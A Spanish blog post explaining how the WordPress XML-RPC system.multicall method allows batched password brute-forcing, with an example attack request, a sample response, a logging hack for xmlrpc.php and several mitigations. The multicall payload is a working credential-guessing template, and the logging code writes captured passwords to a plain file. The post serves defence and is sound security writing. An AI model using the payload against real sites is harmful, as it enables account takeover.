Deshabilita las llamadas multicall por XML-RPC en tu WordPress si no quieres ser hackeado

Somos muchos los que usamos WordPress para nuestros blogs, tanto personales como profesionales, ya que nos permite despreocuparnos, hasta cierto punto, para poder dedicarnos a lo que realmente nos importa, que es compartir. Sin embargo, en estos días hay que extremar las precauciones ya que los ciberdelincuentes tienen mucho tiempo para … aburrirse.

Una de las primeras recomendaciones es cambiar el login de acceso al Dashboard del sitio, lo cual puedes conseguir con plugins muy fácilmente. Sin embargo, esto no te protege de que alguien pueda intentar adivinar tu contraseña a través de otros métodos, incluso estando la página de login oculta. En este post quería hablar de XML-RPC y cómo los atacantes pueden sacar provecho de él.

¿Pero qué es XML-RPC?

Tal y como se define en Wikipedia, XML-RPC es un protocolo de llamada a un procedimiento remoto usando XML y HTTP. Estas llamadas son comunes en WordPress por herramientas de terceros que te permiten recuperar información, crear categorías, escribir artículos, etcétera. Sólo están permitidas las llamadas a través de POST.

XML-RCP server accepts POST requests only
XML-RCP server accepts POST requests only

En estos días, está de moda atacar a xmlrpc.php en lugar de wp-login.php, ya que termina llegando al mismo fin, que es averiguar tu contraseña. Con ello es posible hacer ataques a través de fuerza bruta en lotes, provocando un ruido menor en los sistemas, aunque igualmente detectable. El atacante puede hacer a través de una sola petición diferentes llamadas con diferentes combinaciones de usuario y contraseña, que le permitan averiguar cuál es la correcta, a través de una llamada system.multiCall, método que ejecuta múltiples llamadas dentro del una misma llamada. Se trata de un ataque bastante popular hoy en día por el gran potencial que tiene, ya que por defecto, al menos en WordPress, está habilitado, con el fin de ofrecer a herramientas de terceros la publicación y el acceso a tu sitio.

¿Cómo funciona?

Para que veas lo sencillo que es, he creado un ejemplo con Postman, una de las herramientas que utilizo para llamar a APIs. Lo único que necesitas es un método de WordPress que necesite de usuario y contraseña para acceder a él, como puede ser cualquiera de los siguientes. En este ejemplo voy a hacer uso de wp.getUsersBlogs. Para simplificar el ejemplo voy a crear el XML esperado para hacer una llamada system.multiCall, para usarlo a través de Postman:

<methodCall>
  <methodName>system.multicall</methodName>
  <params>
    <param>
        <value>
            <array>
                <data>
    
                    <value><struct>
                        <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
                        <member><name>params</name><value><array><data>
                        <value><string>admin</string></value>
                        <value><string>test</string></value>
                        </data></array></value></member>
                    </struct></value>
                    
                    <value><struct>
                        <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
                        <member><name>params</name><value><array><data>
                        <value><string>admin</string></value>
                        <value><string>password</string></value>
                        </data></array></value></member>
                    </struct></value>
                    
                    <value><struct>
                        <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
                        <member><name>params</name><value><array><data>
                        <value><string>admin</string></value>
                        <value><string>123456</string></value>
                        </data></array></value></member>
                    </struct></value>
    
                </data>
            </array>
        </value>
    </param>
  </params>
</methodCall>

Como puedes ver, existe un parent llamado methodCall con el nombre system.multicall y dentro de él un array con todas las llamadas que se quieren realizar. Obviamente aquí no se intenta hacer ninguna operación mas que intentar conocer la contraseña, por lo que las múltiples llamadas siempre son al mismo método pero se cambia la combinación de la constraseña para el usuario admin.

Para hacer la llamada, selecciona el método POST, escribe la URL del sitio + xmlrpc.php y como body el mensaje XML como el anterior.

Postman: XMLRPC system.multicall WordPress
Postman: XMLRPC system.multicall WordPress

Como resultado verás que tienes una respuesta con cada una de las respuestas a todas las llamadas que has lanzado a través de system.multicall.

POSTMAN: XML-RCP multicall response
POSTMAN: XML-RCP multicall response

Si el atacante tuviera la suerte de encontrar el usuario y la contraseña correctos, obtendría la respuesta para aquella llamada con unas credenciales válidas y el resto con la misma información que se muestra en la imagen anterior. Por ejemplo, el resultado sería parecido al siguiente:

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><array><data>
  <value><array><data>
  <value><struct>
  <member><name>isAdmin</name><value><boolean>0</boolean></value></member>
  <member><name>url</name><value><string>https://www.returngis.net/</string></value></member>
  <member><name>blogid</name><value><string>1</string></value></member>
  <member><name>blogName</name><value><string>return(GiS);</string></value></member>
  <member><name>xmlrpc</name><value><string>https://www.returngis.net/xmlrpc.php</string></value></member>
</struct></value>
</data></array></value>
</data></array></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Nombre de usuario o contraseña incorrecta.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Nombre de usuario o contraseña incorrecta.</string></value></member>
</struct></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

Como soy un poco curiosa y quería ver qué contraseñas estaban utilizando en el caso de mi blog, modifiqué el archivo xmlrpc.php para que todas las peticiones que llegara a través del mismo se volcaran en un log y así poder comprobar qué es realmente lo que me estaba llegando.

define('XMLRPC_REQUEST', true);

//track users and paswords via xmlrpc
function doLog($text)
{
  // open log file
  $filename = "xmlrpc-attempts.log";
  $fh = fopen($filename, "a") or die("Could not open log file.");
  fwrite($fh, date("d-m-Y, H:i")." - $text\n") or die("Could not write file!");
  fclose($fh);
}

// Some browser-embedded clients send cookies. We don't want them.
$_COOKIE = array();

// A bug in PHP < 5.2.2 makes $HTTP_RAW_POST_DATA not set by default,
// but we can do it ourself.
if ( !isset( $HTTP_RAW_POST_DATA ) ) {
	$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
}

// fix for mozBlog and other cases where '<?xml' isn't on the very first line
if ( isset($HTTP_RAW_POST_DATA) )
	$HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);

//Log the input
doLog($HTTP_RAW_POST_DATA);

La forma en la que yo lo he detectado ha sido gracias al plugin Wordfence Security y “haciendo las cuentas”. Como puedes comprobar, no tengo visible la página de /wp-admin (¡si tienes WordPress tu tampoco deberías!) pero seguía recibiendo peticiones de login, de las que pude tener conocimiento desde la pestaña Live Traffic.

Wordfence - Live Activity - Logins and Logouts
Wordfence – Live Activity – Logins and Logouts

Sin embargo, lo curioso es que cuando estas llamadas llegan en este formato, el sistema de Wordfence sólo te muestra un único intento de login, en lugar de los tres que se han lanzado, por lo que la información no es del todo correcta, aunque si te puede dar pistas de que por algún lado están intentando acceder.

¿Cómo deshabilitarlo?

Da miedo ¿verdad? Existen diferentes caminos para prevenir este tipo de ataques:

  • El más drástico, eliminar el archivo xmlrpc.php: deberás de asegurarte de eliminarlo cada vez que una nueva actualización de WordPress ocurra. Si usas Jetpack, u otro plugin que haga uso de estas llamadas, estarás bloqueado parte de su funcionalidad, ya que muchos hacen uso de XML-RPC.
  • Deshabilita XML-RPC a través de un plugin: El plugin iThemes Security te permite hacerlo de una forma bastante simple a través de su configuración:

    iThemes Security - XML-RPC disabled
    iThemes Security – XML-RPC disabled
  • Crea un filtro: se podría crear un filtro que deseche la posibilidad de utilizar llamadas system.multicall en functions.php.
    function remove_xmlrpc_multicall ( $methods ) {
        unset( $methods['system.multicall'] );
        return $methods;
    }
    add_filter( 'xmlrpc_methods', 'remove_xmlrpc_multicall');
  • También tienes opciones como el WAF de CloudFare, de pago, que contempla este escenario.
  • Utiliza un segundo factor de autenticación: Si realizas la llamada con un usuario que está protegido con un segundo factor de autenticación no será posible acceder, aunque el atacante ya sabrá cuales son tus credenciales, aunque totalmente inútiles. Sin embargo, es por ello que es importante la renovaciónde tu contraseña cada cierto tiempo.

Normalmente, cuando se hacen este tipo de ataques suelen usarse diccionarios, por lo que también te recomiendo que no uses contraseñas de diccionario y las actualices periodicamente.

¡Saludos!

3 Comments

  1. Alberto Enero 7, 2016 at 7:54 pm

    Genial articulo!
    Me surge una duda al respecto: Si limitas los intentos de login (con cualquier de esos 2 plugin se puede, Wordfence o iThemes Security), ¿serviría en este caso o sólo cuenta un intento por cada multillamada?

    Reply
    1. Gisela Torres Enero 7, 2016 at 7:58 pm

      Hola Alberto,

      Por lo que he podido comprobar, cada llamada, aunque haya un lote de peticiones con sus correspondientes usuarios y contraseñas, lo cuenta como un único intento.

      Gracias por tu comentario.

      ¡Saludos!

      Reply
  2. Alberto Enero 7, 2016 at 8:00 pm

    Wow! Qué eficiencia!

    Mil gracias por la respuesta! 😀

    Reply

Deja tu comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.